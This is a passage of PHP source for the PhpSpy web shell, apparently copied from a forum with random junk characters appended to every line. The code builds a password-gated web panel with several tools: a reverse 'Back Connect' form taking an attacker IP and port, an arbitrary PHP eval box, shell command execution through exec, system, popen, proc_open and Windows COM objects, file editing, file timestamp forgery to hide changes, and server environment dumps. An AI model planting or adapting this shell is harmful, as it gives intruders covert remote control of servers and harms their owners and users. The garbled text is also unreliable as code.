4 C4 w" i6 z2 j, n0 E - formhead(array('title'=>'Back Connect'));
4 u8 M/ b/ S- O - makehide('action','backconnect');8 ]7 ~; x- V6 e/ n( Z6 G. ]+ `
- p('<p>');
& v) U- s4 h4 m - p('Your IP:');+ d. }3 z7 }/ K! T8 D
- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));5 I9 o- V( N! j
- p('Your Port:');: f( G% D( U) X, @
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));- T9 x) y' j! R
- p('Use:');
6 u6 y- j, ?2 U7 O% M" |! _& W8 p - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));. L% l) I) D# ?4 X+ {
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));7 G' K# R6 D; ?
- p('</p>');1 U) E1 x8 p, Y# W2 O
- formfoot();
( o0 m# m5 u. V' _ - }//end sql backup
' ^. |! r2 B: L: P/ u9 z - elseif ($action == 'eval') { t, K0 |) M- f( c S
- $phpcode = trim($phpcode);+ V! }- G; H% O9 w& n3 L: T* t8 p' G i
- if($phpcode){
0 Y3 T1 u0 {! ?5 m1 o/ _5 r - if (!preg_match('#<\?#si', $phpcode)) {
0 b) _1 f8 X2 b# ^ - $phpcode = "<?php\n\n{$phpcode}\n\n?>";% M# d% X: _( Y6 k
- }
9 s1 P) p* ~) }- c - eval("?".">$phpcode<?");
) N/ @8 z4 B3 C) n: u7 }! K - }! z4 l8 L C( C$ _3 M6 J& a
- formhead(array('title'=>'Eval PHP Code'));3 {$ i, V( J S) P- q
- makehide('action','eval');9 o; Y# C" i/ ]' H) b' H' m
- maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));, ?% s, d' G! f: ?9 `5 x
- p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');2 b4 e0 Z* b( o7 N3 `$ S
- formfooter();
+ W4 B! \/ m, f* X) T F& I# z - }//end eval
" S8 c! `$ G/ q3 l0 G, u* G6 X -
7 g V, q2 c$ R1 ?. { - elseif ($action == 'editfile') {
! g$ C# S$ E: q - if(file_exists($opfile)) {
/ r, T9 O3 O, f" x0 f1 m' _' G" l+ P - $fp=@fopen($opfile,'r');6 | a* L! \# d8 {2 L% b
- $contents=@fread($fp, filesize($opfile));( I: P+ t2 v9 Q9 {$ A& q/ r" p
- @fclose($fp);
0 M5 y- `- w$ q+ d2 p - $contents=htmlspecialchars($contents);
7 z; J' m9 Z/ a6 R- h; T% M - }) e! w6 g# ?2 L: G K% ?. L# H
- formhead(array('title'=>'Create / Edit File'));
! Z( S2 y* B4 |2 Y: | - makehide('action','file');
- F; b- u# f$ P' S - makehide('dir',$nowpath);
: d& K, w. N5 r# y. e' |" P2 m - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));+ G8 f1 J# P: S- u3 O r
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
) N \- A9 Y( Q: V, g - formfooter();! t' k; U1 ?3 A
- }//end editfile$ g5 y) F5 h/ j% Q0 r. z
- , l( {6 L+ ]5 Q7 ^0 g# t2 n, l A4 U7 }
- elseif ($action == 'newtime') {+ I6 u$ I9 T+ C; x5 C, h5 K/ [
- $opfilemtime = @filemtime($opfile);; y5 m/ `5 l$ @5 K
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");
6 y2 z1 H4 q% }2 m2 L - $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
7 y+ \& h7 N+ O; b% d, E - formhead(array('title'=>'Clone file was last modified time'));, W. O$ T% V8 r
- makehide('action','file');/ {, I9 v, w2 b+ K
- makehide('dir',$nowpath);3 X1 t7 ]5 r0 D
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
8 y# k' |0 @2 h- Q6 p" ?# q - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
# z# @3 @& W( i' b - formfooter();
! Y! W" f, v, Z7 x, H - formhead(array('title'=>'Set last modified'));
% p# k; y& T9 v - makehide('action','file');
& ^& u) n( ^, J7 y8 j' d - makehide('dir',$nowpath);3 Z" T0 d1 b5 E W/ S/ X! L5 J6 A
- makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));' Y6 D* H5 ?3 K$ f+ n
- p('<p>Instead »');
( Q6 d4 K; D$ ^% X - p('year:');
( J; h t$ o7 Y) \ - makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));* D U/ i# u& B' A' I' r
- p('month:');3 d7 [3 o3 N! @% E+ f5 v, ^
- makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
3 j& I2 ^% x0 T0 d. t9 O; e - p('day:');
5 j; Y+ e4 f _ - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));( F* O; o0 ~! F1 D5 O9 w" ^
- p('hour:');
) C! X" P) g1 |; T7 x - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
6 p2 E- Z# S( |' E - p('minute:');
3 W1 v* a! R: r. i - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));8 d' n) P7 n w. g3 x' ]
- p('second:');, u$ E" l/ v) B8 v( ~ p3 x1 `& H( V
- makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
% ^8 J1 o- n: O6 K% F, b - p('</p>');
( u! C( }: N' |# h% y! j - formfooter();
2 M# F7 h! {! K) l7 Y - }//end newtime* F- I8 q6 m- I' m2 W( h' B
- d8 m* ?: I) ]: [. ^) P& T
- elseif ($action == 'shell') {5 J& T. r. P% [
- if (IS_WIN && IS_COM) {! C" d; p- z$ E' w F
- if($program && $parameter) {$ M2 e# i. E, n7 c6 h
- $shell= new COM('Shell.Application');) ~8 d4 A9 \/ d8 f+ v
- $a = $shell->ShellExecute($program,$parameter);
6 X6 C* n! s e' E - m('Program run has '.(!$a ? 'success' : 'fail'));
. F2 N. {/ Q! A4 y/ u# c - }
6 G0 ]$ }" A# k* h - !$program && $program = 'c:\windows\system32\cmd.exe';
% H7 k7 n$ q% f5 V5 o# L - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';6 B# f' a4 @2 w a( z0 C
- formhead(array('title'=>'Execute Program'));: y3 F0 I3 B3 E" v
- makehide('action','shell');* w1 Z7 |; |* [* \
- makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
" R+ e# K/ m" x$ D- T8 Z/ U - p('<p>');9 t7 [: Z9 i6 _
- makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
5 W9 }! ]& w$ J) c7 M( ] - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));+ _0 r/ c3 V" H4 y7 b' h* s- s
- p('</p>');9 F( T v/ d% F3 b9 H
- formfoot();% C1 @+ Z- x# R' w( a, B6 ~
- }
3 D K2 [' p) L1 | - formhead(array('title'=>'Execute Command'));
8 c3 x* t" A: e9 i2 \* o+ `7 q+ u) s - makehide('action','shell');
; @0 M2 L& _/ o' R - if (IS_WIN && IS_COM) {
. Z, d, t' V! C - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
3 }& ~, D+ ^6 i+ J* r' m - makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
5 j& c: A! Q; ^% k - }
( r# `( E6 a& x. w - p('<p>'); b" a# o% V7 p
- makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
4 [) X( l; [1 `+ A - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
* c3 d4 ^. e0 e3 L) P- d& h - p('</p>');
$ s: V" j) D! ?0 t- C. p" } - formfoot();6 _, S1 O7 U/ W0 C
- . }: U3 h, q S& X0 L% X3 L7 G
- if ($command) {! q& h; I. B: f9 d) Q' c0 [" ?
- p('<hr width="100%" noshade /><pre>');
* f2 W+ O1 @) U. { - if ($execfunc=='wscript' && IS_WIN && IS_COM) {2 z4 U% a9 l0 Y5 X
- $wsh = new COM('WScript.shell');
0 u- n. l6 }" e5 K! {# P7 ` - $exec = $wsh->exec('cmd.exe /c '.$command);
" d/ ]" Q$ f. k - $stdout = $exec->StdOut();
; h' N. o' t9 F1 S, t - $stroutput = $stdout->ReadAll();
; S: |( s& `& c - echo $stroutput;7 L4 V9 H* \ I8 i" c& n, u
- } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {. Y4 O2 K D7 A9 p- P+ H1 T- J
- $descriptorspec = array(1 b5 P& `' ?5 f" \2 z4 F- B0 V
- 0 => array('pipe', 'r'),
* f, i2 _9 q7 L8 o3 p- c9 q# o - 1 => array('pipe', 'w'),% S' Y' ]0 {7 ~/ r# z9 e1 l" N
- 2 => array('pipe', 'w')" _! x- t: }/ S* b6 W
- );
( ~# ]5 G( a/ K6 I4 H- t4 c% ^ - $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
3 [" Q+ x- h8 P# z, m4 k% P - if (is_resource($process)) {6 X# e* u0 g; M$ f5 s- J, t! T/ c1 ?- r
- fwrite($pipes[0], $command."\r\n");# h& m2 G* k6 Y. V! \, {
- fwrite($pipes[0], "exit\r\n");
6 ?" D; z0 k4 N- F - fclose($pipes[0]);& b4 S8 Z0 c3 m' R8 l& f. z" @$ \% v W
- while (!feof($pipes[1])) {
. G1 T( U; {8 Z: @ - echo fgets($pipes[1], 1024);) O! T; e2 C3 T/ I3 D8 z! S$ V
- }
/ Y& T3 X" w, Z1 H, Q' n7 V - fclose($pipes[1]);! _6 u0 _2 M. r' u, u. R8 k
- while (!feof($pipes[2])) {. @% g" {$ x( @/ d. y1 {
- echo fgets($pipes[2], 1024);' Q6 w5 w, [# ?* i( S' B# Y& a5 B
- }
! l. B" ^7 x5 i) o& }# ?4 V - fclose($pipes[2]);
& `2 c" p# M. v0 j! c6 p0 Y' A; l - proc_close($process);- l; I) L4 v8 f6 g
- }# ~9 ?, ^) C* t) c; D* E
- } else {* D% J$ p) c5 ^; r# H! u/ e4 ^& |, W
- echo(execute($command));9 R1 M) e. F" G N+ ~$ s
- }
* N+ x+ _: ~9 v& E; L5 J - p('</pre>');: y, |* w9 M( O5 d
- }
+ I1 }6 x: {* q) y% i6 G) V - }//end shell% S0 e% k; v6 Y* m g Y$ [* @
- : [2 i2 k! t" \4 z: l3 o+ @
- elseif ($action == 'phpenv') {
4 O% A$ p! C) c/ K; z2 r+ d - $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';5 W7 O+ C( _7 a. ~6 o! w# l; y# t
- $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'); `, {2 n' y( e6 |( Y" _
- !$dis_func && $dis_func = 'No'; C. M( {* p- {$ ~% ~, l
- $info = array(3 J& D) J' Z' z6 B8 ^: ]9 O6 F
- 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)), O+ A6 Z2 r$ R( }& v. _1 K
- 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
" g% L' C/ o, Z% z2 S9 T5 ^ - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),7 z7 L z+ W" `) c. F7 A2 c
- 4 => array('Server OS',PHP_OS),) L m2 z9 H; K5 g b) D% z0 ~% o
- 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']), `5 z3 d+ H7 x
- 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
3 T5 T' L, N. G0 j" [6 n - 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),9 }" Q1 d8 t: r2 \
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),2 u" `4 v! k9 ]9 j" M
- 9 => array('The file path',__FILE__),- K# r6 n! L H" A
- + l3 o) q$ i0 Q2 f" F$ q) Q1 J
- 10 => array('PHP Version',PHP_VERSION),
7 o+ J- h: |) e* z. M0 q# J - 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),! E3 R2 k* t" n2 V5 _ O1 M4 A
- 12 => array('Safe Mode',getcfg('safe_mode')),
, A- M+ W+ V: G O$ v" r+ ]) ]: M - 13 => array('Administrator',$adminmail),
( V6 o' ?1 d7 w( w7 F - 14 => array('allow_url_fopen',getcfg('allow_url_fopen'))," E. A' \! T$ t/ ^2 @
- 15 => array('enable_dl',getcfg('enable_dl')),
& t% B5 s- X5 U7 n5 I" \ - 16 => array('display_errors',getcfg('display_errors')),
0 K9 Y3 [" ~/ ? - 17 => array('register_globals',getcfg('register_globals')),. F6 M1 o- }( Z; G. ?& t
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
! P2 _$ ^" L1 h8 D - 19 => array('memory_limit',getcfg('memory_limit')),
! M2 j6 a) \1 U* R: f! n/ T/ x - 20 => array('post_max_size',getcfg('post_max_size')),
0 K6 c& y+ C0 p3 q! Q - 21 => array('upload_max_filesize',$upsize),
& \* t: l% R, j5 T - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),7 W3 j3 S/ y7 Z( x* d& @6 u4 X
- 23 => array('disable_functions',$dis_func),3 b6 w* `5 H, G- _' g3 x
- );
& H) o6 b: U9 @; Y" j' |$ \ -
, J: u1 w$ a/ m) t% M - if($phpvarname) {; ?" R, n% k/ o
- m($phpvarname .' : '.getcfg($phpvarname));
$ W" B4 M4 M) N( p, E" z6 ~ - }8 t" c3 D! G' z, _& P
-
. e' `, \" L& Z9 M - formhead(array('title'=>'Server environment'));% S- w% C% S$ v& y/ D m
- makehide('action','phpenv');
& a0 l$ S# u7 G9 K - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));. C5 `8 a/ Z2 s+ `
- formfooter();
4 d& f9 a x. o! m/ T6 a. I- ` -
! X) a8 o* E8 s - $hp = array(0=> 'Server', 1=> 'PHP');6 T1 `6 m; C, j4 Q0 ?7 E+ u
- for($a=0;$a<2;$a++) { Z1 g! ~' K+ ~! l( G2 _: D
- p('<h2>'.$hp[$a].' »</h2>');+ p$ @+ X p- F- P9 l7 \% X: _
- p('<ul class="info">');
+ x5 t) e4 X0 Z0 {! o3 s6 @ - if ($a==0) { M; D# c6 {# h& o
- for($i=1;$i<=9;$i++) {
; V! d! O1 p2 T: ?' ] - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');) v! ~# g. ~) E* R
- }
# \+ [- W: S1 k; J' F - } elseif ($a == 1) {; o) c$ c- B3 h u$ ?& P' Y: W% s
- for($i=10;$i<=23;$i++) {$ }7 q: U0 `6 W7 H
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
4 }7 F/ @1 n" m6 d1 h - }' M5 E9 O& W! }3 [$ K
- }- x2 d2 M5 X3 s
- p('</ul>');
1 J1 a& g% u$ c3 @9 ^2 ]% H - }
; A& e. |1 t8 Z2 }7 N - }//end phpenv
* L* i0 p; O0 N: x; i6 c# b- X5 x -
3 l% ^' ?5 n$ V+ D: D2 c5 C - else {, r9 G2 k' q6 \
- m('Undefined Action');
& `# C2 a& q& E! p; u - }8 W+ t0 N1 x1 Y8 U& g7 U
-
+ q7 O( w% |) E1 V& G3 K% k w( E - ?>& Y! H4 T5 F6 `% c
- </td></tr></table>
2 p5 q5 P' W% F" v - <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
9 O* E+ A' V; l: }/ f, W% p! `/ N - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>9 F3 v% o6 E6 J4 Z" J
- Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.* C" H& o$ ^$ w
- </div>
3 z$ ]& U7 i2 d, x9 l4 T) V - </body>3 _ Z$ H) o4 R w
- </html>
3 B+ @6 A6 j9 O. s - . ~+ B: o+ C: l. W% I; S# V
- <?php7 k& e2 M1 L! y, \+ C
-
0 D; ?- E" ~: v- L - /*======================================================
5 ~$ a0 O% ]! G$ u - 函数库
; G% s2 H) e3 [" {3 I# _ - ======================================================*/ c4 P$ ]3 ^3 D0 n' i
-
, N1 N$ F8 b5 i - function m($msg) {: Y& b d" l$ Y1 ~9 A2 y( I5 B
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';' t0 q7 {) w g7 l
- echo $msg;
' u T0 _' H$ H O' e/ S: f- y# Q - echo '</div>';
6 J/ x3 r5 v) W) @' Q% | - } A1 w: Q9 Y4 Z$ a" L: l. o
- function scookie($key, $value, $life = 0, $prefix = 1) {
+ r$ X' ~6 A/ d9 N7 x' w5 p0 i - global $admin, $timestamp, $_SERVER;
f$ D$ \" J7 c1 L! c7 E - $key = ($prefix ? $admin['cookiepre'] : '').$key;
- ]6 w/ i. ^( M( d( W I, P - $life = $life ? $life : $admin['cookielife'];
) b* I6 k! ?9 d! ~8 A' w( { - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;" h0 C% I( } \$ b2 H( x
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
* m7 h! H! _9 s. K0 ]- x3 V( z2 x; V - }
4 ?4 C# }" ?9 f. z* u3 G - function multi($num, $perpage, $curpage, $tablename) {0 o7 X6 P6 K+ i1 n9 x% b
- $multipage = '';% c* K3 i3 e# B5 U
- if($num > $perpage) {
& k; F' v. l/ E: i4 V - $page = 10;$ v4 s$ i2 K: H7 O1 i( R
- $offset = 5;' D8 L K- v! O
- $pages = @ceil($num / $perpage);
\/ _3 e/ s- d# w5 J - if($page > $pages) {& ~* i: `- X8 V: s: a5 P+ Y. Z8 G+ u
- $from = 1;
- F3 w- \: g4 D* i$ n) l3 q* { - $to = $pages;, B7 t6 M; l2 c" l. {$ t/ S+ x
- } else {# m6 Z7 \2 X# {7 v+ i/ [( j$ Z; H
- $from = $curpage - $offset;3 M' z+ |+ J1 G/ C6 \( v8 L
- $to = $curpage + $page - $offset - 1;
3 O: K0 G8 ?6 Z$ m! Q f: c - if($from < 1) {
& N8 a5 Q1 s0 c, g% z4 w0 X - $to = $curpage + 1 - $from;
4 r1 i9 K$ G# e% f$ D( [ - $from = 1;2 \$ H W) q: A+ o* w
- if(($to - $from) < $page && ($to - $from) < $pages) {
% O9 a& C6 g( V! z - $to = $page;! z+ b# B0 [9 j# B" K- \
- }
6 |" Z+ E/ F# ?% C( [& }, a - } elseif($to > $pages) {7 z! s9 R6 ]( W/ F+ G& K
- $from = $curpage - $pages + $to;
" J/ r- A' C- P0 O% W/ _ - $to = $pages;6 m0 K) h* M- \0 V3 W) }
- if(($to - $from) < $page && ($to - $from) < $pages) {1 W* L; p1 ^& v' H. U3 {+ z8 F
- $from = $pages - $page + 1;
" C" Q E9 L$ e& B - }% e$ N3 P( \ H2 v2 B, |' c
- }
# w) D* _$ U& G6 `& D: f" h - }
- W% q9 c* _; |4 h( [1 U" x8 ^( a# X - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
( `9 o9 S4 G# D - for($i = $from; $i <= $to; $i++) {8 I' ?1 w, n" R9 u) `; A" j; Z, I& \1 e( q
- $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
( y. t$ [: |4 E) L6 _, o - }. _: L% w# G* J& S7 K
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');" A- f$ }9 M* x& L/ J
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
* z w6 W b8 { - }
! V, ?; j! g5 l% N0 ~ - return $multipage;
, x2 z" O2 G) P+ A - }
h' P7 H" {, j! Y2 e7 q/ d - // 登陆入口8 @* T, Q. t _' S% d% N! x
- function loginpage() {
7 ?: r$ Q, c; Q4 G - ?>
6 v9 m$ b) `: O - <style type="text/css">
2 d& d' }- d: u( A/ @: W" [ - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
& B1 `# |5 a5 N1 {) O - </style>1 p. \% W7 ~3 q6 s' s% e
- <form method="POST" action="">
4 o4 z" o8 X! |) T7 D# F: U - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1 b2 E( e1 J: d - <input type="hidden" name="doing" value="login">
1 ^' Q8 w! d# c" f - <input type="submit" value="Login">. c- l3 m, p6 G8 A
- </form>
' k) t/ b, {& m8 w - <?php
" [' q' L( v/ D9 |* ^- U - exit;& [4 y% w" h8 B
- }//end loginpage()5 k3 y/ V5 P* f2 w3 f2 ]$ o8 \
-
" u: Q. _/ X/ v, S2 R+ u1 } - function execute($cfe) {% X! q) \, \; K. b) g/ `' X
- $res = '';6 I* c0 p) k# n+ T2 z
- if ($cfe) {0 x6 X8 J5 S p& {/ [! b' S4 Q
- if(function_exists('exec')) {
M" I/ X7 B4 l5 i% \1 @ - @exec($cfe,$res); P$ e" v$ x. X- g- J+ w2 h4 d/ }
- $res = join("\n",$res);# }4 p* p& |( ?& w& Z/ C. K
- } elseif(function_exists('shell_exec')) {* C4 i9 e X$ [3 a( m& ]) D% k) Z
- $res = @shell_exec($cfe);4 V1 a. ~! a5 x9 V5 d' W
- } elseif(function_exists('system')) {
' n- S$ `" t& M* [' F- H - @ob_start();
# R% s* x* G* w; i+ H - @system($cfe);/ e) R# _* o n% q; Z+ u, J
- $res = @ob_get_contents();* M* t5 _) t% ]: X. ^( {) ~$ H
- @ob_end_clean();" K+ o- I) _% _- K' [9 k) {. x
- } elseif(function_exists('passthru')) {- v+ {6 o/ I( [; J0 }# b+ }
- @ob_start();
, d. ~0 r. ?2 q& m - @passthru($cfe);
9 Y9 T& F- k. S) x* I% c3 N - $res = @ob_get_contents();
: y9 l$ R. I; ]! q" t5 o9 U4 v - @ob_end_clean();" w3 \) N- g. E$ d# Z' ?$ M- j& ^
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
6 l1 n, }' S: w/ E# u5 K - $res = '';
6 H4 G S0 D% q7 m+ g; c - while(!@feof($f)) {; G+ l, E+ b- [4 i' C/ U
- $res .= @fread($f,1024);
) m6 n; h+ z7 K! }1 w) f - }
* f) t# |* u5 A: Q, u - @pclose($f);
# B4 S9 e1 T- j+ v: I+ H - }
: K) `+ u# H+ P k! M! e! d" W - }- b$ S! n: _" r, R
- return $res;+ u( U6 J8 |2 a! J2 S! n X
- }& N2 B( \' z8 O3 A( ]
- function which($pr) {
8 s) S% k/ |" m" l9 E - $path = execute("which $pr");6 i, _/ k! j- d2 o2 s9 r, P
- return ($path ? $path : $pr); ' R) N5 X: f# V# v3 [( ~
- }
2 V3 x) E8 @) Q7 z - 3 J2 a) L1 S: l, G' n4 }2 p5 W
- function cf($fname,$text){( r# `( c( s8 _! V
- if($fp=@fopen($fname,'w')) {; |# p- J5 m- \2 G7 j3 k6 @- {! l
- @fputs($fp,@base64_decode($text));, ~! O5 ^7 n' r; i# s# i) j
- @fclose($fp);
3 b. z- }$ E* {; \7 {9 h - }
, L2 k+ a; y" k/ V - }" p% k, z# f8 \9 L! a9 e
- 8 j4 |# E0 u' H- l, k
- // 页面调试信息
# E, S( r8 A7 i& Z- z4 L' v ` - function debuginfo() {5 o4 V6 ?% A+ |3 E
- global $starttime;
1 I/ r# L2 b! n) p- B) o# z6 a* } - $mtime = explode(' ', microtime());
( H3 V. z; I2 f9 u7 t - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);; P0 C4 N# j7 R0 ?, R8 U
- echo 'Processed in '.$totaltime.' second(s)';3 R! k: E) F% N# {3 I) u* i
- }7 E# q, H: @3 z$ y7 y- ]9 h9 s7 E+ l
-
3 a: ]6 d: D+ ~+ Q1 j+ C - //连接数据库9 R2 Y# c* n3 H' ^/ }4 |
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
/ a' x7 V% f2 |* R - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {, F5 G# r* O: G- y+ X
- p('<h2>Can not connect to MySQL server</h2>');
' @7 H% M0 Y/ C1 J; T: t - exit;1 ]3 h+ X4 z$ m6 }1 a- X7 Y
- }
+ Q6 i$ g# {' L; h. p* [) m% A - if($link && $dbname) {9 Q5 m/ W( l: l3 r0 v) S
- if (!@mysql_select_db($dbname, $link)) {1 ^& i8 E' i5 }( J' A2 B5 p
- p('<h2>Database selected has error</h2>');
' k" y0 ~ {& a$ l7 `0 d - exit;1 i) [. |# k- d5 G' c4 Y
- }. B* j$ J' ~/ A2 s* V3 t; X
- }* m( i$ y, O7 k; \/ y$ t; z, V8 I
- if($link && mysql_get_server_info() > '4.1') {
6 G1 ?0 b A8 g3 T7 B' u - if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
) \$ \6 |: U$ H9 a8 Q9 n- [4 M0 s - q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
, I3 z* w5 v6 u5 I3 A4 z0 x+ p' L - }0 J. } ?/ H# P. `( i: R8 E
- }
/ N4 j p1 b! Z) {% ` - return $link;5 H, Q" N0 B: h7 C& h' p
- }
7 L' T4 \- K9 f& b- { -
: i$ M8 n0 t, \6 Q k - // 去掉转义字符' o/ T& d8 U4 n1 E/ g
- function s_array(&$array) {
( i; c3 Z0 {; Q& Z4 ^7 w - if (is_array($array)) {' j4 ^% t8 I$ P2 x0 p* j# }4 ~
- foreach ($array as $k => $v) {
3 G; m, G l, a& ^* p- X# z8 l - $array[$k] = s_array($v);
! |( Q# ^) O9 m6 ~' k - }
9 @3 u/ ^/ |0 n4 Z. ~8 {8 |7 w - } else if (is_string($array)) {9 g% I/ D( _4 @( I6 P
- $array = stripslashes($array);
) i; U; U) p2 C ] - }
1 {* Z7 g0 y2 j' k. c - return $array;
y% [! r+ h( s* n- Y/ P - }7 a1 X* Y& b7 E' P/ L0 a) z
- # o' ?6 O- ]! @3 F6 X
- // 清除HTML代码7 x. ~4 s! R9 |# ?0 T
- function html_clean($content) {
: q8 F5 _2 K% z2 V( V& Z - $content = htmlspecialchars($content);! u# }5 |; B- Y; c: {4 P
- $content = str_replace("\n", "<br />", $content);
/ [9 O* H8 @+ X _) p# z) T, G' ] - $content = str_replace(" ", " ", $content);
- m/ E' J/ [6 {* G, v0 J0 y3 E# Z - $content = str_replace("\t", " ", $content);# i: y0 c; |3 Y4 Q
- return $content;) k: d( d N4 @ S
- }
. [% r: w* k% i: s+ j - , y L% f! y3 f8 Z' L, p& l4 ~" @
- // 获取权限
+ z6 q F0 I- o7 x - function getChmod($filepath){
" C5 n/ z; g8 h5 G2 e4 B+ g0 m - return substr(base_convert(@fileperms($filepath),10,8),-4);
* Q& |& x# ?- U9 E - }: k* j: s0 {' s0 B5 U8 Y
- % p5 r( W2 H' E9 F, T
- function getPerms($filepath) {2 G" f% N. ^! _0 q3 J* ^2 f
- $mode = @fileperms($filepath);
) ^) g5 B4 {9 E - if (($mode & 0xC000) === 0xC000) {$type = 's';}
3 @) d9 }2 T! i+ O) b# X2 } - elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
' h- F' P n9 q; a5 P3 ` - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
2 [- w' v# B+ ~; a9 b7 A - elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
& Q6 ~% n- c- E+ d5 S7 ? - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}3 `+ v6 ?9 v5 E( {- y
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
& F7 B% X3 A3 N% r' k' _! r( u - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}8 }$ T$ m/ E7 u8 D( e
- else {$type = '?';}/ _: I8 v$ i8 l1 b6 ~
- ) r) d; c6 v! Q1 z
- $owner['read'] = ($mode & 00400) ? 'r' : '-';
" m* E4 p* g# l - $owner['write'] = ($mode & 00200) ? 'w' : '-'; # l& a& R( p9 b3 x" ]$ e
- $owner['execute'] = ($mode & 00100) ? 'x' : '-'; / \# j, ?- ]. ~; ?) ^8 B
- $group['read'] = ($mode & 00040) ? 'r' : '-';
& i+ ~4 y( y( u# t8 X$ ^8 b - $group['write'] = ($mode & 00020) ? 'w' : '-';
, k( @$ V/ D! ?! L& L - $group['execute'] = ($mode & 00010) ? 'x' : '-';
7 t' c `* q5 A7 I" g - $world['read'] = ($mode & 00004) ? 'r' : '-'; 7 `9 [' l: M; J4 B
- $world['write'] = ($mode & 00002) ? 'w' : '-'; 9 x0 q, _3 F. m/ V
- $world['execute'] = ($mode & 00001) ? 'x' : '-';
# e7 i7 ^6 g$ r/ l: E9 M - 4 N$ Q& f6 }- f2 Z
- if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
. p6 p# @* _. ] - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}$ d. v( E- R2 w; U$ f
